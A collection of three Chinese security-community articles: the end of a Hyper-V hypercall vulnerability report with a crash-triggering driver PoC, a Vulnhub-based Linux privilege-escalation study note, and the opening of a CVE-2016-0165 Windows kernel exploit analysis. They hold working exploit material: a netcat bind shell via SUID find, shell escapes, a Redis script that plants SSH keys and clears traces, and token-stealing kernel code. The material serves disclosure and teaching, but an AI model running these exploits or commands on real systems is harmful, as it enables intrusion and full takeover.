next = (_next & 0xFFFFFFFFFFFFFFFEui64);
if ( current != _InterlockedCompareExchange(previous, next, current) )
goto LABEL_2;
LABEL_7:
;
}
if ( *¤t->key < key )
{
previous = current;
next = (_next & 0xFFFFFFFFFFFFFFFEui64);
goto LABEL_7;
}
return *¤t->key == key;
}
该函数遍历给定的表，从`head`开始，直到找到大于等于`key`参数的key。参数`pPrevious`和`pCurrent`被设为最后访问的表项的地址。如果找到了key，返回`true`，否则返回`false`。
进行查找的代码会期望遍历函数在key未找到时返回`false`，但是如果我们查找的是末尾表项的key（-1）的话，因为-1的二进制位全为1，所以与1或的操作无法保护它，函数将会返回`true`，而`pCurrent`则指向末尾表项。
只需搜索key`0xffffffffffffffff`就可以触发这个问题，碰撞的key`0x7fffffffffffffff`也会产生此行为。
如上所述，返回的表项类似于`LIST_ENTRY`字段，所以要计算所对应的对象的基地址，就需要减去字段的偏移：
CONTAINING_RECORD(resulting_base, struct obj_type, entry_field)
因为返回的地址是末尾表项的地址，对其应用`CONTAINING_RECORD`将会返回哈希表对象内部（或其下方）的任意地址。调用者会认为这是所期望的对象类型，而接着对这个任意指针进行操作。
## 0x02 影响
该漏洞的影响范围取决于影响着最终的偏移地址的一些条件，漏洞可以潜在导致任意代码执行。
这些条件例如：
* 调用者的对象大小和entry字段的偏移
* 发行版/平台间结构体布局的差异
## 0x03 PoC
以下PoC可触发漏洞，使用了`HvFlushGuestPhysicalAddressSpace` hypercall，我们认为这是最简单的触发路径。
需要在Windows客户机中加载驱动，且客户机开启嵌套虚拟化，禁用Hyper-V。
主机运行：
Set-VMProcessor -VMName poc_vm -ExposeVirtualizationExtensions $true
客户机运行（需要重启）：
bcdedit /set hypervisorlaunchtype off
#include <intrin.h>
#include <intrin.h>
#include <ntddk.h>
#include <wdf.h>
#include <initguid.h>
EXTERN_C_START
DRIVER_INITIALIZE DriverEntry;
EXTERN_C_END
#ifdef ALLOC_PRAGMA
#pragma alloc_text (INIT, DriverEntry)
#endif
#pragma code_seg(push, r1, ".text")
__declspec(allocate(".text")) BYTE trigger[] =
{
0x48, 0x89, 0xC8, // mov rax, rcx hypercall page
0xB9, 0xAF, 0x00, 0x01, 0x00, // mov ecx, 0x100af
0x48, 0xBA, 0xFF, 0xFF, 0xFF, // HvFlushGuestPhysicalAddressSpace
0xFF, 0xFF, 0xFF, 0xFF, 0x7F, // mov rdx,0x7fffffffffffffff GPA
0x4D, 0x31, 0xC0, // xor r8,r8 flags
0xFF, 0xD0 // call rax
};
#pragma code_seg(pop, r1)
typedef void(* TriggerCall)(void *hc_page);
typedef union hv_x64_msr_contents
{
UINT64 as_uint64;
struct
{
UINT64 enable : 1;
UINT64 reserved : 11;
UINT64 guest_physical_address : 52;
} u;
} hv_msr_contents;
#define HV_X64_MSR_GUEST_OS_ID 0x40000000
#define HV_X64_MSR_HYPERCALL 0x40000001
#define HV_X64_MSR_VP_ASSIST_PAGE 0x40000073
#define CR4_VMXE (1 << 13)
#define CPUID_FEAT_ECX_VMX (1 << 5)
#define MSR_IA32_VMX_BASIC 0x480
__declspec(align(0x1000)) UINT32 vmxon_page[1024];
__declspec(align(0x1000)) UINT32 assist_page[1024];
NTSTATUS enable_vmxe(void)
{
int cpuInfo[4];
NTSTATUS status = STATUS_NOT_IMPLEMENTED;
__cpuid(cpuInfo, 1);
if (cpuInfo[2] & CPUID_FEAT_ECX_VMX)
{
UINT64 cr4 = __readcr4();
UINT64 pvmxon_page = MmGetPhysicalAddress(&vmxon_page).QuadPart;
KdPrint(("[+] Virtualization support detected"));
if (!(cr4 & CR4_VMXE))
{
KdPrint(("[+] Enabling VMXE..."));
__writecr4(cr4 | CR4_VMXE);
}
memset(vmxon_page, 0, sizeof(vmxon_page));
vmxon_page[0] = (UINT32) __readmsr(MSR_IA32_VMX_BASIC);
KdPrint(("[+] VMX revision %x", vmxon_page[0]));
KdPrint(("[+] Entering monitor mode..."));
if (__vmx_on(&pvmxon_page))
KdPrint(("[-] VMXON failed"));
else
status = STATUS_SUCCESS;
}
return status;
}
NTSTATUS
DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath
)
{
void* hypercall_page;
hv_msr_contents hc_page, assist;
PHYSICAL_ADDRESS pa_hcpage;
NTSTATUS status = enable_vmxe();
if (!NT_SUCCESS(status))
return status;
hc_page.as_uint64 = __readmsr(HV_X64_MSR_HYPERCALL);
pa_hcpage.QuadPart = hc_page.u.guest_physical_address << PAGE_SHIFT;
hypercall_page = MmMapIoSpace(pa_hcpage, PAGE_SIZE, MmNonCached);
memset(&assist_page, 0, sizeof(assist_page));
assist.as_uint64 = MmGetPhysicalAddress(&assist_page).QuadPart;
assist.u.enable = 1;
__writemsr(HV_X64_MSR_VP_ASSIST_PAGE, assist.as_uint64);
((TriggerCall)trigger)(hypercall_page); // Boom
return status;
}
PoC中，基址计算的结果是对哈希表对象的桶数的偏移，应返回的对象第一个字段是传给下一个函数的指针。函数得到的是0x10（桶数），然后对其解引用导致系统崩溃。
Access violation - code c0000005 (!!! second chance !!!)
hv+0x30548c:
fffffbf3`a090548c 488b01 mov rax,qword ptr [rcx]
3: kd> r rcx
rcx=0000000000000010
3: kd> kb
# RetAddr : Args to
Child : Call Site
00 fffffbf3`a0904cce : ffffe802`c5604190 ffffe802`c56048c0
00000000`00000003 ffffe802`c5608050 : hv+0x30548c
01 fffffbf3`a09026f3 : ffffe802`c5604050 fffffbf3`a1201068
00000000`00000001 fffffbf3`a090f7e9 : hv+0x304cce
02 fffffbf3`a08b6363 : 00000000`00000010 ffff9d86`d2a8f7b8
00000000`00000000 00000000`00000000 : hv+0x3026f3
03 fffffbf3`a0829068 : 00000000`00000000 00000000`00000002
00000000`00000000 fffffbf3`a082ea1e : hv+0x2b6363
04 fffffbf3`a0828cf2 : 00000000`00000000 fffffbf3`a08255c1
ffffe802`c5608050 fffffbf3`a081d842 : hv+0x229068
05 fffffbf3`a081e1de : 00000000`00000000 00000000`0010003a
00000000`0010003a 00000000`000100af : hv+0x228cf2
06 fffffbf3`a08734f6 : 00000000`00000000 ffffe802`c5608000
00000000`800000ff 00000000`00000001 : hv+0x21e1de
07 00000000`00000000 : 00000000`00000000 00000000`00000000
00000000`00000000 00000000`00000000 : hv+0x2734f6
## 0x04 时间线
2020-06-02：漏洞报告发送至[[email protected]](mailto:[email protected])
2020-07-21：微软确认奖金15000美元
2020-09-08：微软发布补丁 | 社区文章 |
>
> 本文为在我打了9个Vulnhub靶机后，感觉到提权操作及思路，方法有点欠缺的一篇总结性学习笔记（内容均参考自网络和个人整理，文末注明来源。若有错误之处，希望师傅们指正。
笔记基本上参考下面这篇文章(有些地方可以说是直接翻译过来的，据说是提权圣经（时间比较久远了，不过核心思想不变，非常有参考价值：<https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>
# 什么是权限
在Linux 系统中，`ls -al` 即可查看列出文件所属的权限。这里我用kali 系统来演示。
……
drwxr-xr-x 2 kali kali 4096 Jan 27 12:52 Downloads
-rw-r--r-- 1 root root 903 Jun 14 11:33 exp.html
-rw-r--r-- 1 root root 153600 May 5 09:42 flag
lrwxrwxrwx 1 kali kali 28 May 14 08:28 flagg -> /proc/self/cwd/flag/flag.jpg
-rw-r--r-- 1 kali kali 188 May 14 08:29 flagg.zip
-rw-r--r-- 1 root root 1807342 Apr 20 06:52 get-pip.py
drwx------ 3 kali kali 4096 Jun 18 21:35 .gnupg
-rw-r--r-- 1 root root 56 Jun 16 23:29 hash.txt
-rw-r--r-- 1 root root 12396 Jun 11 00:13 hydra.restore
-rw------- 1 kali kali 5202 Jun 18 21:35 .ICEauthority
-rw-r--r-- 1 root root 2046 Jun 10 22:58 jim_pass.txt
……
这些都代表什么意思，我们从左往右看。
-rw-r--r-- 1 root root 56 Jun 16 23:29 hash.txt
这里可以分为7个字段。
* 第一组数据 `-rw-r--r--`
第一位：
`-` : 代表普通文件
`d`：代表目录
`l`：代表软链接
`b`：代表块文件
`c`：代表字符设备
第二及后面几位,分别三个为一组：
`rw-r--r--` 代表文件所属的权限
r : 文件可读。w : 文件可修改。- : 表示暂时没有其他权限。x : 表示可执行
1. `rw-` 表示文件所拥有者的权限。
2. `r--` 表示文件所在组的用户的权限。
3. `r--` 表示其他组的用户的权限。
4. 第二组数据 `1`
5. * 如果文件类型为目录，表示目录下的字目录个数
* 如果文件类型是普通文件，这个数据就表示这个文件的硬链接个数
6. 第三组数据 `root` . 表示该文件所有者为root 用户
7. 第四组数据`root`. 表示该文件所在组为root 组
8. 第五组数据`56` 表示文件的大小为多少字节。如果为一个目录，则为4096。
9. 第六组数据表示`最后一次修改时间`
10. 第七组数据表示文件名称
> 如果为目录，r 表示可以进入该目录进行查看。 w 表示文件可以进行增加。x 表示可以进入这个目录
同样的，可以用数字代替，r=4,w=2,x=1。
# 为什么提权
当成功通过80或者443端口通过web服务渗透时，常常是www-data 。无法执行root 权限下的一下命令或者读取/root
下的重要文件。这个时候就需要提权，在root
权限下，还可以通过msfvenom生成其他后门文件或者一些隐藏后门。添加用户，开启其他端口等操作，达到权限持续控制。
> 简单的说，就是不提权就无法完成进一步渗透。
# 怎么样提权
> 大师傅都说，渗透的本质是信息搜集。
提权也是，要进行充分的信息搜集。
提权思路：大概思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/恶意劫持/特定平台漏洞/框架漏洞/组件/等，写入或执行恶意命令/脚本/shell/添加高权限用户，提权成功，然后进一步利用。
## 基础信息搜集
### 内核，操作系统，设备信息
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构（64位/32位）
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat
ls /boot | grep vmlinuz-
### 用户和群组
cat /etc/passwd 列出系统上的所有用户
cat /var/mail/root
cat /var/spool/mail/root
cat /etc/group 列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录，他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
lastlog |grep -v "Never" 以前登录用户的完
### 用户权限信息
whoami 当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
### 环境信息
env 显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shellrc
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
### 进程和服务
ps aux
ps -ef
top
cat /etc/services
查看以root 运行的进程
ps aux | grep root
ps -ef | grep root
### 查看安装的软件
ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l
### 服务/插件
检查有没有不安全的服务配置，和一些有漏洞的插件。
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
### 计划任务
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
### 有无明文存放用户密码
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
Vulnhub 上的靶机就体现在，通过邮件明文传输密码了，然后就可以通过ssh登陆了。进行新的信息搜集。
### 有无ssh 私钥
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
### 查看与当前机器通信的其他用户或者主机
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
### 日志文件
cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /var/run/utmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
### 交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
### 可提权SUID && GUID
> 参考资料<https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
### 查看可写/执行目录
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders
find / -perm -o x -type d 2>/dev/null # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders
### 查看安装过的工具
find / -name perl*
find / -name python*
find / -name gcc*
...
## 提权操作
### SUID 提权
> 什么是suid？suid全称是 **S** et owner **U** ser **ID** up on
> execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是，只有程序的所有者是0号或其他super
> user，同时拥有suid权限，才可以提权。
这里推荐 P师傅的 <https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html>
常见的可用来提权的Linux 可执行文件有：
Nmap, Vim, find, bash, more, less, nano, cp
查看可以suid 提权的可执行文件
find / -perm -u=s -type f 2>/dev/null
* find
ls -al /usr/bin/find
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
> 实用程序find用来在系统中查找文件。同时，它也有执行命令的能力。
> 因此，如果配置为使用SUID权限运行，则可以通过find执行的命令都将以root身份去运行。
比如：DC -1 靶机就是利用find 命令进行root 用户来执行命令
大部分Linux 系统都安装了nc。使用`find aaa - exec netcat -lvp 5555 -e /bin/sh \;`
即可成功反弹root shell
* nmap
早期nmap 具有交互模式，version 2.02～5.21（5.2.0）。这里我用metasploitable2 来演示
`namp -V` 查看nmap 版本信息
`nmap --interactive`
我最喜欢的`Metasploit` 中就有利用 SUID nmap 提权的exp
`search nmap` 然后利用 `exploit/unix/local/setuid_nmap` 漏洞利用模块即可
5.2.0 之后，nmap 还可以通过执行脚本来提权。
# nse 脚本，shell.nse
os.execute('/bin/sh')
# nmap 提权
nmap --script=shell.nse
# 在某些发行版的Linux 可能会提权失败。具体原理移步p 师傅文章
或者
echo 'os.execute("/bin/sh")' > getshell
sudo nmap --script=getshell
参考DC 6 靶机：[https://hack-for.fun/posts/8886.html#%E6%8F%90%E6%9D%83](https://hack-for.fun/posts/8886.html#提权)
* vim
如果vim 是通过SUID运行，就会继承root用户的权限。可读取只有root能读取的文件。
`vim /etc/shadow`
vim 运行shell
vim
:set shell=/bin/sh
:shell
同理，满足条件的 less 和 more 都可。
### 利用内核漏洞
比如DC 3 靶机，就是利用系统内核漏洞来进行提权。
`searchsploit Ubuntu 16.04`
将exp 下载下来，解压，编译，运行，即可get root 权限。
`tar xvf exploit.tar`
<https://www.exploit-db.com/exploits/39772>
还有大名鼎鼎的CVE-2016-5195，脏牛漏洞。（Linux kernel >=2.6.22 并且Android也受影响
* <https://github.com/timwr/CVE-2016-5195>
* <https://github.com/gbonacini/CVE-2016-5195>
* 复现参考：<https://www.jianshu.com/p/df72d1ee1e3e>
其他内核漏洞：
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – 'overlayfs'
Local Root Shell
<https://www.exploit-db.com/exploits/37292/>
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) – ‘overlayfs’ Local Root Exploit
<https://www.exploit-db.com/exploits/39166/>
Linux Kernel 4.3.3 – 'overlayfs' Local Privilege Escalation
<https://www.exploit-db.com/exploits/39230/>
> 提示：内核exploit提权有风险，有可能会崩溃系统。
### 利用root无密码执行
简单来说，就是一个脚本，比如py,sh等或者是一个命令。这个文件可以以root身份运行，若在无密码的情况下执行的话，我们可以通过修改脚本内容/或者直接执行这个命令，利用命令来进行一些操作，来进行提权。
比如常见的：
* 写入一个root身份权限的用户进入/etc/passwd 文件中
这里以DC 4 为例子：
`teehee -a` 将输入的内容追加到另一个文件中
简单说下`/etc/passwd` 各个字段的含义：
username:password:User ID:Group ID:comment:home directory:shell
成功获取到root 权限。类似的操作还有很多，核心思想不变。
### 利用环境变量提权
`PATH` 是Linux 和 Unix
操作系统中的环境变量，它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时，它会通过PATH变量来响应用户执行的命令，并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目，以便于系统管理命令的执行。
使用echo命令显示当前PATH环境变量：
如果你在PATH变量中看到`.`，则意味着登录用户可以从当前目录执行二进制文件/脚本
我们先编译一个可执行文件shell。
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("cat /etc/passwd");
}
// aaa.c
在给该文件赋予权限。
然后查看它的权限可以发现是有`s` 位，即suid。
现在我们在目标机器上用`find / -perm -u=s -type f 2>/dev/null`
来查看可以suid提权的文件，发现之前编译的shell可执行文件在里面。
更多的操作可以参考：<https://xz.aliyun.com/t/2767>
### 利用存在漏洞的命令
不可否认的是命令很多，我们不可能熟悉每一种命令的漏洞。不过我们每次遇到了都可以用`searchsploit` 来寻找可利用的exp。
这里以DC 5 靶机为例：
`ls -al` ：
可以通过cat 读取一下这个文件怎么用。
攻击机器开启一个http 服务：
python -m SimpleHTTPServer
将exploit 用 wget 下载到可执行的`/tmp/`目录下。然后执行`sh` 文件。最后在`/etc/`目录下执行`./rootshell`
即可get root shell。
* * *
还有之前爆的sudo 提权，CVE-2019-14187。只不过比较鸡肋。
> **Sudo 的全称是“superuserdo”，它是Linux系统管理指令，允许用户在不需要切换环境的前提下以其它用户的权限运行应用程序或命令。通常以
> root 用户身份运行命令，是为了减少 root 用户的登录和管理时间，同时提高安全性。**
**利用前提**
1. sudo -v < 1.8.28
2. 知道当前用户的密码
3. 当前用户存在于sudo权限列表
复现参考：<https://www.cnblogs.com/ethtool/p/12176730.html>
### 利用第三方服务提权
#### Docker 组提权
参考文章：<https://blog.csdn.net/qq_41918771/article/details/103666135>
> docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因，Docker 给予所有 docker
> 组的用户相当大的权力（虽然权力只体现在能访问 /var/run/docker.sock 上面）。默认情况下，Docker 软件包是会默认添加一个
> docker 用户组的。Docker 守护进程会允许 root 用户和 docker
> 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。
普通用户执行：即可获得root权限。
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
#### MySQL UDF 提权
之前在做JarivsOJ CTF 里有一个题，里面就用了UDF，那是我第一次遇到这个东西。
show variables like '%compile%';
show variables like 'plugin%';
不过这里有一个限制，`show global variables like 'secure%'` secure_file_priv
没有具体的值（即能够导出/写入文件
> 当 secure_file_priv 的值为 NULL ，表示限制 mysqld 不允许导入|导出，此时无法提权
> 当 secure_file_priv 的值为 /tmp/ ，表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下，此时也无法提权
> 当 secure_file_priv 的值没有具体值时，表示不对 mysqld 的导入|导出做限制，此时可提权
MSF 中的 `exploit/multi/mysql/mysql_udf_payload` 漏洞利用模块可以进行UDF提权
使用 `select sys_exec('whoami');` 或 `select sys_eval('whoami');` 来执行系统命令
#### Redis 批量getshell
> 如果Redis以root身份运行，黑客可以利用Redis写入SSH公钥文件，直接通过SSH免密码登录受害服务器。Redis
> 默认绑定在6379端口，并且没有开启认证，在没有任何访问策略的情况下，任何人可以直接在非授权情况下直接访问Redis服务并进行相关操作。
相关利用exp：<https://github.com/Xyntax/POC-T/blob/9d538a217cb480dbd1f94f1fa6c8154a41b5b106/script/redis-sshkey-getshell.py>
#!/usr/bin/env python
# -*- coding: utf-8 -*- # project = https://github.com/Xyntax/POC-T
# author = [email protected]
"""
redis getshell expliot (ssh authorized_keys)
"""
import redis
import paramiko
from plugin.util import host2IP
from plugin.util import randomString
from plugin.util import checkPortTcp
from paramiko.ssh_exception import SSHException
public_key = 'ssh-rsa ====='
private_key = """
-----BEGIN RSA PRIVATE KEY----- =====
-----END RSA PRIVATE KEY----- """
import time
def poc(url):
url = host2IP(url)
ip = url.split(':')[0]
port = int(url.split(':')[-1]) if ':' in url else 6379
try:
if not checkPortTcp(ip, 22):
return False
r = redis.Redis(host=ip, port=port, db=0)
if 'redis_version' in r.info():
key = randomString(10)
r.set(key, '\n\n' + public_key + '\n\n')
r.config_set('dir', '/root/.ssh')
r.config_set('dbfilename', 'authorized_keys')
r.save()
r.delete(key) # 清除痕迹
r.config_set('dir', '/tmp')
time.sleep(5)
if testConnect(ip, 22):
return True
except Exception:
return False
return False
def testConnect(ip, port=22):
try:
s = paramiko.SSHClient()
s.load_system_host_keys()
s.connect(ip, port, username='root', pkey=private_key, timeout=10)
s.close()
return True
except Exception, e:
if type(e) == SSHException:
return True
return False
其他……
> 一般情况情况下，内核漏洞或者第三方服务来提权的情况更多。
# 如何防止被提权
* 系统管理员要安全，准确的配置SUID执行文件。
* 一些没必要以高权限用户执行的文件，应该取消权限。
* 规避使用无密码root 执行命令，脚本等。
* 修复/升级存在已知漏洞的组件，升级操作系统版本最新版。
* Linux 2.2 之后可以为命令增加 capabilities, 以p 师傅博客里的给nmap增加该属性为例。
* 升级第三方服务，修复已知漏洞
sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
nmap --privileged -sS 192.168.1.1
<https://man7.org/linux/man-pages/man7/capabilities.7.html>
# 总结
通过本次学习，脑海里有了一个大概的思路，以后遇到了也不会迷惘。但是我旁边师傅给我说，靶机的提权有些在实际中根本用不到。所以，还是要灵活处理，核心思路应该是不变的吧！
# 相关资料
* <https://blog.csdn.net/qq_43386754/article/details/85257620>
* <https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>
* <https://www.cnblogs.com/nul1/p/11309287.html>
* <https://blog.csdn.net/swty3356667/article/details/84330144>
* <https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html>
* <https://www.freebuf.com/articles/system/149118.html>
* <https://www.hacking8.com/MiscSecNotes/linux-priv.html>
* <https://www.exploit-db.com/exploits/39772>
* <https://www.jianshu.com/p/df72d1ee1e3e>
* <https://blog.csdn.net/qq_27446553/article/details/80773255>
* <https://www.freebuf.com/articles/system/173903.html>
* <https://blog.csdn.net/qq_36119192/article/details/84863268> | 社区文章 |
作者：Leeqwind
作者博客：<https://xiaodaozhi.com/exploit/56.html>
本文将对 CVE-2016-0165 (MS16-039)
漏洞进行一次简单的分析，并尝试构造其漏洞利用和内核提权验证代码，以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1
基础环境的虚拟机，配置 1.5GB 的内存。
本文分为三篇：
[从 CVE-2016-0165 说起：分析、利用和检测（上）](https://paper.seebug.org/579/ "从
CVE-2016-0165 说起：分析、利用和检测（上）")
[从 CVE-2016-0165 说起：分析、利用和检测（中）](https://paper.seebug.org/580/ "从
CVE-2016-0165 说起：分析、利用和检测（中）")
从 CVE-2016-0165 说起：分析、利用和检测（下）
#### 0x6 提权
前面的章节实现了由用户进程控制的任意内存地址读写的能力，接下来将通过该能力实现内核提权。提权，意味着进程特权级的提升，提权之后当前进程拥有的权限将高于提权之前，将可执行在原本特权级别下所无法执行的很多操作，并能够访问原本由于
ACL 或完整性校验机制限制所不能访问的特定文件、注册表或进程等对象。
* * *
**Token**
在 Windows 系统中的内核提权通常方法是将目标进程的 `Token` 结构数据或指针替换成 `System` 进程等系统进程的 `Token`
结构数据或指针。这样一来进程将以系统进程的身份执行任何行为，所有需要校验令牌的操作都将可以畅通无阻地进行。
第一步首先需要定位到 NT 执行体模块的内存地址。操作系统为我们提供了枚举内核模块的 `EnumDeviceDrivers`
函数。该函数用于获取系统中的所有设备驱动程序的加载地址。NT 执行体模块作为第一内核模块，其地址会出现在地址数组的第一个元素中。
DWORD_PTR
xxGetNtoskrnlAddress(VOID)
{
DWORD_PTR AddrList[500] = { 0 };
DWORD cbNeeded = 0;
EnumDeviceDrivers((LPVOID *)&AddrList, sizeof(AddrList), &cbNeeded);
return AddrList[0];
}
清单 6-1 获取内核执行体模块地址的验证代码片段
在 NT 执行体模块中存在 `PsInitialSystemProcess` 导出变量，在系统启动时 `PspInitPhase0`
函数执行期间该导出变量被赋值为 `System` 进程的 `EPROCESS` 地址。那么接下来只要获得 `PsInitialSystemProcess`
变量在 NT 执行体模块中的偏移，就可以计算出其在当前系统环境中的绝对线性地址。
DWORD_PTR
xxGetSysPROCESS(VOID)
{
DWORD_PTR Module = 0x00;
DWORD_PTR NtAddr = 0x00;
Module = (DWORD_PTR)LoadLibraryA("ntkrnlpa.exe");
NtAddr = (DWORD_PTR)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess");
FreeLibrary((HMODULE)Module);
NtAddr = NtAddr - Module;
Module = xxGetNtoskrnlAddress();
if (Module == 0x00)
{
return 0x00;
}
NtAddr = NtAddr + Module;
if (!xxPointToGet(NtAddr, &NtAddr, sizeof(DWORD_PTR)))
{
return 0x00;
}
return NtAddr;
}
清单 6-2 获取 System 进程 EPROCESS 对象基地址的验证代码
在当前 32 位的 Windows 7 操作系统环境下，由于是单核 CPU 并且支持 PAE 机制，所以系统加载的 NT 执行体是
`ntkrnlpa.exe` 模块。获得 `PsInitialSystemProcess`
变量的地址后，通过前面实现的任意内核地址读取功能获取该地址存储的数值，成功后就得到了 `System` 进程的进程体 `EPROCESS` 的基地址。
图 6-1 进程 EPROCESS 对象组成双向环形链表
众所周知的是，在 Windows 操作系统中，所有的进程体 `EPROCESS` 对象以各自的 `LIST_ENTRY`
`ActiveProcessLinks` 成员域首尾相接，成员域 `ActiveProcessLinks.Flink` 指向下一个进程 `EPROCESS`
对象的 `ActiveProcessLinks` 成员域首地址，`ActiveProcessLinks.Blink` 指向上一个进程 `EPROCESS`
对象的 `ActiveProcessLinks` 成员域首地址。像这样地，所有的进程组成一个庞大的环形双向链表。获得了 System 进程的
`EPROCESS` 对象基地址，就可以“顺藤摸瓜”找到当前进程的 `EPROCESS` 基地址。
kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
...
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
...
+0x0f8 Token : _EX_FAST_REF
...
+0x16c ImageFileName : [15] UChar
...
+0x2a8 TimerResolutionLink : _LIST_ENTRY
+0x2b0 RequestedTimerResolution : Uint4B
+0x2b4 ActiveThreadsHighWatermark : Uint4B
+0x2b8 SmallestTimerResolution : Uint4B
+0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD
清单 6-3 在 WinDBG 中显示的 EPROCESS 结构
根据获取的各个成员域的偏移，通过 `ActiveProcessLinks` 成员的值获取下一个进程 `EPROCESS` 对象的
